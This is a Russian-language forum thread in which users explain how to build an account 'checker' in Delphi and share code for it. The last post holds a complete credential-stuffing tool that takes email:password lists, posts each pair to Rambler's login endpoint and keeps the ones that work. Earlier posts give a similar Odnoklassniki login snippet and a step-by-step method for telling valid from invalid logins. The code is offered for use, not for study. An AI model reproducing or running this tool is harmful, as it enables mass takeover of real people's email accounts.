Хочу создать чекер пока без наворотов. Может кто-нибудь рассказать про словесный алгоритм чекера, или есть у кого-то сорцы.
И как бы разные это вещи. В чем проблема с нуля написать? Там сложного нет ничего. Скачай analyzer _http://www.ieinspector.com/httpanalyzer/download.html Посмотри что и куда отправляется, когда авторизуешься.
авторизация на дефли в принципе так может выглядеть: Code: var StrPage, ssylka:string; Data:TstringList; begin idhttp1.HandleRedirects:=true; StrPage:=idhttp1.Get('http://odnoklassniki.ru/'); ssylka:=Pars('<form action="',StrPage,'"'); Data:=TstringList.Create; Data.Add('st.posted=set'); Data.Add('st.email='+Edit1.Text); Data.Add('st.password='+Edit2.Text); Data.Add('button_go=Войти'); StrPage:=idhttp1.Post(ssylka, Data); if Pos('Logoff', StrPage)<>0 then Label3.Caption:='Ага' else Label3.Caption:='Неа'; Data.Free; function TForm1.Pars(T_, ForS, _T: string): string; var a, b: integer; begin Result := ''; if (T_ = '') or (ForS = '') or (_T = '') then Exit; a := Pos(T_, ForS); if a = 0 then Exit else a := a + Length(T_); ForS := Copy(ForS, a, Length(ForS) - a + 1); b := Pos(_T, ForS); if b > 0 then Result := Copy(ForS, 1, b - 1); end; end;
Ну вы вообще... Выкладываете код авторизации для левого сайта, меняете в нем "Залогинились" на "Ага", "Не залогинились" на "Неа". А потом еще пишете, что в принципе это так может выглядеть)))
Простой алгоритм чеккера можно найти в анналах интеренета... Вот краткая суть: 1)заходим на страницу главную 2) Вводим правельные данные и мониторим куда нас перенаправляет или какой ответ от сервера 3) Вводим неправельные данные и смотрим куда перенаправляет или какой ответ от сервера 4) Сравниваем и исчим различия - а точнее характерные данные для правельного запроса и для неправельного(в плане прошел чек удачно или нет) 5) Пишем прогу/скрипт ЗЫ: какой язык программирования ?
Дельфи Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login
я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет). В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно) Вот ссылки: http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо
Code: procedure TForm1.Button1Click(Sender: TObject); var i:integer; pass,mail,domain:string; post, page:tstringlist; begin for i:=0 to form1.memo1.lines.count-1 do begin pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i])); mail:=form1.memo1.lines[i]; delete(mail, pos('@', mail), length(mail)); if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then domain:='lenta.ru'; if ansipos('myrambler', form1.memo1.lines[i]) <>0 then domain:='myrambler.ru'; if ansipos('autorambler', form1.memo1.lines[i]) <>0 then domain:='autorambler.ru'; if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then domain:='ro.ru'; if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then domain:='ro.ru'; if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then domain:='rambler.ru'; post:=tstringlist.create; page:=tstringlist.create; post.Add('back=http://mail.rambler.ru/mail/startpage'); post.Add('login='+mail); post.Add('domain='+domain); post.Add('passw='+pass); try page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post); finally if ansipos('logout', page.text)<>0 then form1.Memo2.Lines.Add(form1.memo1.lines[i]); page.free; post.free; end; end; end; на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится пользуйся на здоровье.